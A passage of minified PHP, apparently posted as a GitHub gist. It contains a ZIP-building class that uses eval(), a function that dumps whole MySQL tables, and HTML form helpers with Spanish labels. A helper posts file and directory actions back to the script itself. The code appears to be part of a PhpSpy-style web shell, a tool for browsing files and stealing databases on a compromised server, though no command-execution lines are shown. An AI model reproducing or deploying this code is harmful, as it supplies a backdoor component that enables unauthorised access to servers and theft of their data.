$old_offset = 0;function unix2DosTime($unixtime = 0) {$timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);if ($timearray['year'] < 1980) {$timearray['year'] = 1980;$timearray['mon'] = 1;$timearray['mday'] = 1;$timearray['hours'] = 0;$timearray['minutes'] = 0;$timearray['seconds'] = 0;}return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);}function addFile($data, $name, $time = 0) {$name = str_replace('\\', '/', $name);$dtime = dechex($this->unix2DosTime($time));$hexdtime = '\x' . $dtime[6] . $dtime[7]
. '\x' . $dtime[4] . $dtime[5]
. '\x' . $dtime[2] . $dtime[3]
. '\x' . $dtime[0] . $dtime[1];eval('$hexdtime = "' . $hexdtime . '";');$fr = "\x50\x4b\x03\x04";$fr .= "\x14\x00";$fr .= "\x00\x00";$fr .= "\x08\x00";$fr .= $hexdtime;$unc_len = strlen($data);$crc = crc32($data);$zdata = gzcompress($data);$c_len = strlen($zdata);$zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);$fr .= pack('V', $crc);$fr .= pack('V', $c_len);$fr .= pack('V', $unc_len);$fr .= pack('v', strlen($name));$fr .= pack('v', 0);$fr .= $name;$fr .= $zdata;$fr .= pack('V', $crc);$fr .= pack('V', $c_len);$fr .= pack('V', $unc_len);$this -> datasec[] = $fr;$new_offset = strlen(implode('', $this->datasec));$cdrec = "\x50\x4b\x01\x02";$cdrec .= "\x00\x00";$cdrec .= "\x14\x00";$cdrec .= "\x00\x00";$cdrec .= "\x08\x00";$cdrec .= $hexdtime;$cdrec .= pack('V', $crc);$cdrec .= pack('V', $c_len);$cdrec .= pack('V', $unc_len);$cdrec .= pack('v', strlen($name));$cdrec .= pack('v', 0);$cdrec .= pack('v', 0);$cdrec .= pack('v', 0);$cdrec .= pack('v', 0);$cdrec .= pack('V', 32);$cdrec .= pack('V', $this -> old_offset);$this -> old_offset = $new_offset;$cdrec .= $name;$this -> ctrl_dir[] = $cdrec;}function file() {$data = implode('', $this -> datasec);$ctrldir = implode('', $this -> ctrl_dir);return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";}}function sqldumptable($table, $fp=0) {$tabledump = "DROP TABLE IF EXISTS $table;\n";$tabledump .= "CREATE TABLE $table (\n";$firstfield=1;$fields = q("SHOW FIELDS FROM $table");while ($field = mysql_fetch_array($fields)) {if (!$firstfield) {$tabledump .= ",\n";} else {$firstfield=0;}$tabledump .= " $field[Field] $field[Type]";if (!empty($field["Default"])) {$tabledump .= " DEFAULT '$field[Default]'";}if ($field['Null'] != "YES") {$tabledump .= " NOT NULL";}if ($field['Extra'] != "") {$tabledump .= " $field[Extra]";}}fr($fields);$keys = q("SHOW KEYS FROM $table");while ($key = mysql_fetch_array($keys)) {$kname=$key['Key_name'];if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {$kname="UNIQUE|$kname";}if(!is_array($index[$kname])) {$index[$kname] = array();}$index[$kname][] = $key['Column_name'];}fr($keys);while(list($kname, $columns) = @each($index)) {$tabledump .= ",\n";$colnames=implode($columns,",");if ($kname == "PRIMARY") {$tabledump .= " PRIMARY KEY ($colnames)";} else {if (substr($kname,0,6) == "UNIQUE") {$kname=substr($kname,7);}$tabledump .= " KEY $kname ($colnames)";}}$tabledump .= "\n);\n\n";if ($fp) {fwrite($fp,$tabledump);} else {echo $tabledump;}$rows = q("SELECT * FROM $table");$numfields = mysql_num_fields($rows);while ($row = mysql_fetch_array($rows)) {$tabledump = "INSERT INTO $table VALUES(";$fieldcounter=-1;$firstfield=1;while (++$fieldcounter<$numfields) {if (!$firstfield) {$tabledump.=", ";} else {$firstfield=0;}if (!isset($row[$fieldcounter])) {$tabledump .= "NULL";} else {$tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";}}$tabledump .= ");\n";if ($fp) {fwrite($fp,$tabledump);} else {echo $tabledump;}}fr($rows);if ($fp) {fwrite($fp,"\n");} else {echo "\n";}}function ue($str){return urlencode($str);}function p($str){echo $str."\n";}function tbhead() {p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');}function tbfoot(){p('</table>');}function makehide($name,$value=''){p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");}function makeinput($arg = array()){$arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";$arg['extra'] = $arg['extra'] ? $arg['extra'] : '';!$arg['type'] && $arg['type'] = 'text';$arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';$arg['class'] = $arg['class'] ? $arg['class'] : 'input';if ($arg['newline']) {p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");} else {p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");}}function makeselect($arg = array()){if ($arg['onchange']) {$onchange = 'onchange="'.$arg['onchange'].'"';}$arg['title'] = $arg['title'] ? $arg['title'] : '';if ($arg['newline']) p('<p>');p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");if (is_array($arg['option'])) {if ($arg['nokey']) {foreach ($arg['option'] as $value) {if ($arg['selected']==$value) {p("<option value=\"$value\" selected>$value</option>");} else {p("<option value=\"$value\">$value</option>");}}} else {foreach ($arg['option'] as $key=>$value) {if ($arg['selected']==$key) {p("<option value=\"$key\" selected>$value</option>");} else {p("<option value=\"$key\">$value</option>");}}}}p("</select>");if ($arg['newline']) p('</p>');}function formhead($arg = array()) {global $self;!$arg['method'] && $arg['method'] = 'post';!$arg['action'] && $arg['action'] = $self;$arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';!$arg['name'] && $arg['name'] = 'form1';p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");if ($arg['title']) {p('<h2>'.$arg['title'].' &raquo;</h2>');}}function maketext($arg = array()){!$arg['cols'] && $arg['cols'] = 100;!$arg['rows'] && $arg['rows'] = 25;$arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");}function formfooter($name = ''){!$name && $name = 'submit';p('<p><input class="bt" name="'.$name.'" id="'.$name.'" type="submit" value="Enviar"></p>');p('</form>');}function goback(){global $self, $nowpath;p('<form action="'.$self.'" method="post"><input type="hidden" name="action" value="file" /><input type="hidden" name="dir" value="'.$nowpath.'" /><p><input class="bt" type="submit" value="Regresar..."></p></form>');}function formfoot(){p('</form>');}function pr($a) {echo '<pre>';print_r($a);echo '</pre>';}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment